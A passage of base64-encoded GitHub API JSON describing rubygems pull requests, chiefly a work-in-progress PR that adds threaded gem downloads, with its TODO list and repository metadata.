mNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy97c2hhfSIsImxhbmd1YWdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhbmd1YWdlcyIsInN0YXJnYXplcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGFyZ2F6ZXJzIiwiY29udHJpYnV0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udHJpYnV0b3JzIiwic3Vic2NyaWJlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdWJzY3JpYmVycyIsInN1YnNjcmlwdGlvbl91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmlwdGlvbiIsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzey9zaGF9IiwiZ2l0X2NvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0c3svc2hhfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWVudHN7L251bWJlcn0iLCJpc3N1ZV9jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy97K3BhdGh9IiwiY29tcGFyZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUve2Jhc2V9Li4ue2hlYWR9IiwibWVyZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWVyZ2VzIiwiYXJjaGl2ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3thcmNoaXZlX2Zvcm1hdH17L3JlZn0iLCJkb3dubG9hZHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kb3dubG9hZHMiLCJpc3N1ZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXN7L251bWJlcn0iLCJwdWxsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzey9udW1iZXJ9IiwibWlsZXN0b25lc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL21pbGVzdG9uZXN7L251bWJlcn0iLCJub3RpZmljYXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbm90aWZpY2F0aW9uc3s/c2luY2UsYWxsLHBhcnRpY2lwYXRpbmd9IiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzey9uYW1lfSIsInJlbGVhc2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcmVsZWFzZXN7L2lkfSIsImRlcGxveW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZGVwbG95bWVudHMiLCJjcmVhdGVkX2F0IjoiMjAxMC0wNC0xNlQxOTowMjo0NFoiLCJ1cGRhdGVkX2F0IjoiMjAxOC0wMS0wNVQxOTozNjowNloiLCJwdXNoZWRfYXQiOiIyMDE4LTAxLTA1VDA4OjIwOjM1WiIsImdpdF91cmwiOiJnaXQ6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zLmdpdCIsInNzaF91cmwiOiJnaXRAZ2l0aHViLmNvbTpydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJjbG9uZV91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3ZuX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImhvbWVwYWdlIjoiaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvIiwic2l6ZSI6MTQyOTAsInN0YXJnYXplcnNfY291bnQiOjE5MDYsIndhdGNoZXJzX2NvdW50IjoxOTA2LCJsYW5ndWFnZSI6IlJ1YnkiLCJoYXNfaXNzdWVzIjp0cnVlLCJoYXNfcHJvamVjdHMiOmZhbHNlLCJoYXNfZG93bmxvYWRzIjp0cnVlLCJoYXNfd2lraSI6ZmFsc2UsImhhc19wYWdlcyI6ZmFsc2UsImZvcmtzX2NvdW50Ijo5NTksIm1pcnJvcl91cmwiOm51bGwsImFyY2hpdmVkIjpmYWxzZSwib3Blbl9pc3N1ZXNfY291bnQiOjE2MiwibGljZW5zZSI6eyJrZXkiOiJvdGhlciIsIm5hbWUiOiJPdGhlciIsInNwZHhfaWQiOm51bGwsInVybCI6bnVsbH0sImZvcmtzIjo5NTksIm9wZW5faXNzdWVzIjoxNjIsIndhdGNoZXJzIjoxOTA2LCJkZWZhdWx0X2JyYW5jaCI6Im1hc3RlciJ9fSwiX2xpbmtzIjp7InNlbGYiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTk4MyJ9LCJodG1sIjp7ImhyZWYiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xOTgzIn0sImlzc3VlIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTgzIn0sImNvbW1lbnRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTgzL2NvbW1lbnRzIn0sInJldmlld19jb21tZW50cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xOTgzL2NvbW1lbnRzIn0sInJldmlld19jb21tZW50Ijp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzL2NvbW1lbnRzey9udW1iZXJ9In0sImNvbW1pdHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTk4My9jb21taXRzIn0sInN0YXR1c2VzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzLzZlYzg5YTk2OTE4ZWNkMWZjNjZiMWM4ZjM0MDFmYjhlYjE3MGVkOGMifX0sImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik1FTUJFUiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xODk4IiwiaWQiOjExNjQyMjQ0MSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xODk4IiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xODk4LmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xODk4LnBhdGNoIiwiaXNzdWVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg5OCIsIm51bWJlciI6MTg5OCwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwidGl0bGUiOiJbV0lQXSBEb3dubG9hZCBnZW1zIHdpdGggdGhyZWFkcyIsInVzZXIiOnsibG9naW4iOiJpbmRpcmVjdCIsImlkIjo3OCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNzg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaW5kaXJlY3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJib2R5IjoiVGhpcyBQUiBzdXBlcmNlZGVzICM2NDksIGltcGxlbWVudGluZyB0aHJlYWRlZCBkb3dubG9hZHMgZm9yIGdlbXMuIChJbXBsZW1lbnRlZCB3aGlsZSBwYWlyaW5nIHdpdGggQGR1Y2tpbmF0b3IpLlxyXG5cclxuLS0tXHJcblxyXG4oRm9sbG93aW5nIHdhcyBhZGRlZCBieSBAZHVja2luYXRvcjopXHJcblxyXG5UT0RPOlxyXG5cclxuNS4gWyBdIFRlc3RzIVxyXG40LiBbeF0gVXNlIGBsb2NrZWRfcHV0c2AgaW4gW2BUaHJlYWRlZERvd25sb2FkUmVwb3J0ZXIjZmV0Y2hgXShodHRwczovL2dpdGh1Yi5jb20vZHVja2luYXRvci9ydWJ5Z2Vtcy9ibG9iL2RiNGEzMGFjM2I1ZDkwMTkwMGUwZjY3NzdmYzBiMjBiZjU4MjJmYjAvbGliL3J1YnlnZW1zL3VzZXJfaW50ZXJhY3Rpb24ucmIjTDU5Ny1MNjAzKVxyXG4zLiBbIF0gQWN0dWFsbHkgdXNlIGBUaHJlYWRlZERvd25sb2FkUmVwb3J0ZXJgLlxyXG40LiBbIF0gUmVtb3ZlIGBWZXJib3NlRG93bmxvYWRSZXBvcnRlcmAuXHJcbjUuIFsgXSBWZXJpZnkgdGhhdCB0aGUgW3ByZWV4aXN0aW5nIGByZXEuc3BlYy5pbnN0YWxsYCBjYWxsXShodHRwczovL2dpdGh1Yi5jb20vZHVja2luYXRvci9ydWJ5Z2Vtcy9ibG9iL2RiNGEzMGFjM2I1ZDkwMTkwMGUwZjY3NzdmYzBiMjBiZjU4MjJmYjAvbGliL3J1YnlnZW1zL3JlcXVlc3Rfc2V0LnJiI0wxOTUtTDE5NykgdXNlcyB0aGUgY2FjaGVkIHZlcnNpb24uXHJcbjYuIFsgXSBXaGVuIGEgZ2VtIGlzIFtiZWluZyBkb3dubG9hZGVkIGJ5IHRoZSB0aHJlYWQgcXVldWVdKGh0dHBzOi8vZ2l0aHViLmNvbS9kdWNraW5hdG9yL3J1YnlnZW1zL2Jsb2IvZGI0YTMwYWMzYjVkOTAxOTAwZTBmNjc3N2ZjMGIyMGJmNTgyMmZiMC9saWIvcnVieWdlbXMvcmVxdWVzdF9zZXQucmIjTDE3NCksIHNhdmUgaXQgdG8gdGhlIGNhY2hlLiAoVGhpcyBpcyBLaW5kIE9mIEltcG9ydGFudCZ0cmFkZTsuKVxyXG4gICAgKiBbIF0gUHJlcmVxdWlzaXRlOiBGaWd1cmUgb3V0IHdoZXJlIHRoZSBoZWxsIGl0J3Mgc2F2aW5nIGl0IGN1cnJlbnRseT9cclxuIiwiY3JlYXRlZF9hdCI6IjIwMTctMDQtMThUMjE6MTU6MTFaIiwidXBkYXRlZF9hdCI6IjIwMTctMTAtMTRUMDI6NTY6MDlaIiwiY2xvc2VkX2F0IjpudWxsLCJtZXJnZWRfYXQiOm51bGwsIm1lcmdlX2NvbW1pdF9zaGEiOiI5MGQ4NzAzOGViZjYwMTM4ZTlkZTNhZGQ1NThmZmM1NzRkZWI5YjFiIiwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sInJlcXVlc3RlZF9yZXZpZXdlcnMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xODk4L2NvbW1pdHMiLCJyZXZpZXdfY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xODk4L2NvbW1lbnRzIiwicmV2aWV3X2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy9jb21tZW50c3svbnVtYmVyfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4OTgvY29tbWVudHMiLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzLzg5OTFkMGQ3MDJkMTQ5NjlhOTllYTQ0ZjBmNTdiMzI3YmY4OTdmYmMiLCJoZWFkIjp7ImxhYmVsIjoiZHVja2luYXRvcjpkb3dubG9hZC1nZW1zLXdpdGgtdGhyZWFkcyIsInJlZiI6ImRvd25sb2FkLWdlbXMtd2l0aC10aHJlYWRzIiwic2hhIjoiODk5MWQwZDcwMmQxNDk2OWE5OWVhNDRmMGY1N2IzMjdiZjg5N2ZiYyIsInVzZXIiOnsibG9naW4iOiJkdWNraW5hdG9yIiwiaWQiOjM5Njk4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8zOTY5OD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZHVja2luYXRvciIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2R1Y2tpbmF0b3IiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kdWNraW5hdG9yL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2R1Y2tpbmF0b3IvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZHVja2luYXRvci9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZHVja2luYXRvci9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2R1Y2tpbmF0b3Ivc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kdWNraW5hdG9yL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2R1Y2tpbmF0b3IvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kdWNraW5hdG9yL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kdWNraW5hdG9yL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJyZXBvIjp7ImlkIjo0OTMwMTk0MywibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoiZHVja2luYXRvci9ydWJ5Z2VtcyIsIm93bmVyIjp7ImxvZ2luIjoiZHVja2luYXRvciIsImlkIjozOTY5OCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMzk2OTg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2R1Y2tpbmF0b3IiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9kdWNraW5hdG9yIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZHVja2luYXRvci9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kdWNraW5hdG9yL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2R1Y2tpbmF0b3IvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2R1Y2tpbmF0b3Ivc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kdWNraW5hdG9yL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZHVja2luYXRvci9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kdWNraW5hdG9yL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZHVja2luYXRvci9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZHVja2luYXRvci9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicHJpdmF0ZSI6ZmFsc2UsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2R1Y2tpbmF0b3IvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6dHJ1ZSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zIiwiZm9ya3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMva2V5c3sva2V5X2lkfSIsImNvbGxhYm9yYXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL2NvbGxhYm9yYXRvcnN7L2NvbGxhYm9yYXRvcn0iLCJ0ZWFtc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvaG9va3MiLCJpc3N1ZV9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL2lzc3Vlcy9ldmVudHN7L251bWJlcn0iLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvYXNzaWduZWVzey91c2VyfSIsImJyYW5jaGVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZHVja2luYXRvci9ydWJ5Z2Vtcy9icmFuY2hlc3svYnJhbmNofSIsInRhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvZ2l0L2Jsb2Jzey9zaGF9IiwiZ2l0X3RhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL2dpdC90YWdzey9zaGF9IiwiZ2l0X3JlZnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL2dpdC90cmVlc3svc2hhfSIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZHVja2luYXRvci9ydWJ5Z2Vtcy9zdGF0dXNlcy97c2hhfSIsImxhbmd1YWdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvc3RhcmdhemVycyIsImNvbnRyaWJ1dG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvY29udHJpYnV0b3JzIiwic3Vic2NyaWJlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZHVja2luYXRvci9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb24iLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZHVja2luYXRvci9ydWJ5Z2Vtcy9jb21taXRzey9zaGF9IiwiZ2l0X2NvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL2NvbW1lbnRzey9udW1iZXJ9IiwiaXNzdWVfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvaXNzdWVzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZHVja2luYXRvci9ydWJ5Z2Vtcy9jb21wYXJlL3tiYXNlfS4uLntoZWFkfSIsIm1lcmdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvbWVyZ2VzIiwiYXJjaGl2ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvZG93bmxvYWRzIiwiaXNzdWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZHVja2luYXRvci9ydWJ5Z2Vtcy9pc3N1ZXN7L251bWJlcn0iLCJwdWxsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZHVja2luYXRvci9ydWJ5Z2Vtcy9taWxlc3RvbmVzey9udW1iZXJ9Iiwibm90aWZpY2F0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvbm90aWZpY2F0aW9uc3s/c2luY2UsYWxsLHBhcnRpY2lwYXRpbmd9IiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvZHVja2luYXRvci9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9kdWNraW5hdG9yL3J1YnlnZW1zL3JlbGVhc2Vzey9pZH0iLCJkZXBsb3ltZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2R1Y2tpbmF0b3IvcnVieWdlbXMvZGVwbG95bWVudHMiLCJjcmVhdGVkX2F0IjoiMjAxNi0wMS0wOFQyMzoxNDozOVoiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wMS0xM1QwMToyNToyNVoiLCJwdXNoZWRfYXQiOiIyMDE3LTEyLTIwVDA2OjU2OjAxWiIsImdpdF91cmwiOiJnaXQ6Ly9naXRodWIuY29tL2R1Y2tpbmF0b3IvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOmR1Y2tpbmF0b3IvcnVieWdlbXMuZ2l0IiwiY2xvbmVfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2